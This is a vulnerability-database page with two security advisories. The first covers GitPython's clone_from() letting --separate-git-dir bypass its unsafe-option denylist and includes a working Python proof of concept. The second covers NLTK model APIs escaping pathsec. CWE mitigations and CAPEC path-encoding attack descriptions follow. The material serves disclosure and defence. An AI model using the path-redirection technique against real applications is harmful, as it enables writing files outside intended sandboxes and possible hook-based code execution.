High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.58"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-78677"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T18:41:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` \u2014 *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 \u2192 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository\u0027s entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython\u0027s own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers\u0027 own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` \u2014 e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list \u2014 gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not \u2014 despite the function\u0027s own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` \u2014 no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path \u2014 which can be **any path outside the intended clone destination** that the process has permission to create \u2014 and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository\u0027s `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there \u2014 an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython\u0027s own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path \u2014 i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` \u2014 `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` \u2014 `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` \u2014 docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` \u2014 `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` \u2014 which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No \u2014 `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`\u0027s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No \u2014 confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path \u2014 `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) \u2014 i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one \u2014 currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers\u0027 own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "GHSA-8mcc-hrx5-hvxc",
"modified": "2026-09-08T18:41:53Z",
"published": "2026-09-08T18:41:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2210"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination"
}
GHSA-8MGP-746C-J5XP
Vulnerability from github – Published: 2026-09-02 14:35 – Updated: 2026-09-02 14:35Summary
Several model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.
Details
- Vulnerability type: File sandbox bypass
- Affected component:
TransitionParser.train,TransitionParser.parse,AveragedPerceptron.save,AveragedPerceptron.load,PerceptronTagger.save_to_json,save_maxent_params - Affected versions: Published
3.9.4and current sourcev3.10.0-rc2both reproduced. - Patched versions: Not yet patched
- Root cause: Model import and export helpers use built-in
open()on caller-controlled paths instead of pathsec-aware helpers.
TransitionParser.train() writes outside allowed roots, TransitionParser.parse() reads outside allowed roots, AveragedPerceptron bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while pathsec.open() or the guarded sibling helpers rejected the same paths.
PoC
Preconditions
- The application enables pathsec enforcement and lets untrusted workflows choose model import or export paths.
Steps
1. Enable pathsec.ENFORCE=True and restrict allowed roots to a dedicated sandbox directory.
2. Use public model import or export APIs with paths that point outside that root.
3. Observe the same paths are rejected by negative-control guarded helpers such as pathsec.open(), PerceptronTagger.load_from_json(), or load_maxent_params().
4. Observe the vulnerable APIs still read or write outside-root files successfully.
Minimal reproducible excerpt
transition_train_exists True
transition_parse_loader_read_bytes 13
averaged_load_keys ['bias']
maxent_save wrote ['alwayson.tab', 'labels.txt']
Impact
Consumers that rely on pathsec for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.
Remediation
Route all model-path file access through nltk.pathsec.open() or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-81726"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T14:35:04Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nSeveral model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.\n\n### Details\n\n- **Vulnerability type:** File sandbox bypass\n- **Affected component:** `TransitionParser.train`, `TransitionParser.parse`, `AveragedPerceptron.save`, `AveragedPerceptron.load`, `PerceptronTagger.save_to_json`, `save_maxent_params`\n- **Affected versions:** Published `3.9.4` and current source `v3.10.0-rc2` both reproduced.\n- **Patched versions:** Not yet patched\n- **Root cause:** Model import and export helpers use built-in `open()` on caller-controlled paths instead of pathsec-aware helpers.\n\n`TransitionParser.train()` writes outside allowed roots, `TransitionParser.parse()` reads outside allowed roots, `AveragedPerceptron` bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while `pathsec.open()` or the guarded sibling helpers rejected the same paths.\n\n### PoC\n\n**Preconditions**\n- The application enables `pathsec` enforcement and lets untrusted workflows choose model import or export paths.\n\n**Steps**\n1. Enable `pathsec.ENFORCE=True` and restrict allowed roots to a dedicated sandbox directory.\n2. Use public model import or export APIs with paths that point outside that root.\n3. Observe the same paths are rejected by negative-control guarded helpers such as `pathsec.open()`, `PerceptronTagger.load_from_json()`, or `load_maxent_params()`.\n4. Observe the vulnerable APIs still read or write outside-root files successfully.\n\n**Minimal reproducible excerpt**\n\n```text\ntransition_train_exists True\ntransition_parse_loader_read_bytes 13\naveraged_load_keys [\u0027bias\u0027]\nmaxent_save wrote [\u0027alwayson.tab\u0027, \u0027labels.txt\u0027]\n```\n\n### Impact\n\nConsumers that rely on `pathsec` for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.\n\n### Remediation\n\nRoute all model-path file access through `nltk.pathsec.open()` or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.",
"id": "GHSA-8mgp-746c-j5xp",
"modified": "2026-09-02T14:35:04Z",
"published": "2026-09-02T14:35:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-8mgp-746c-j5xp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81726"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3757"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3759"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3813"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/2a92b71827d754ae8920261e7ed0c4bb283ab2d7"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/a44a7af69bca87e92d9c4a701fcbbe4512e8d450"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/cbc98458b43de5f792f0382583c16df39e5c5117"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3740.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-through-3.10.3-path-traversal-via-model-artifact-apis"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots"
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.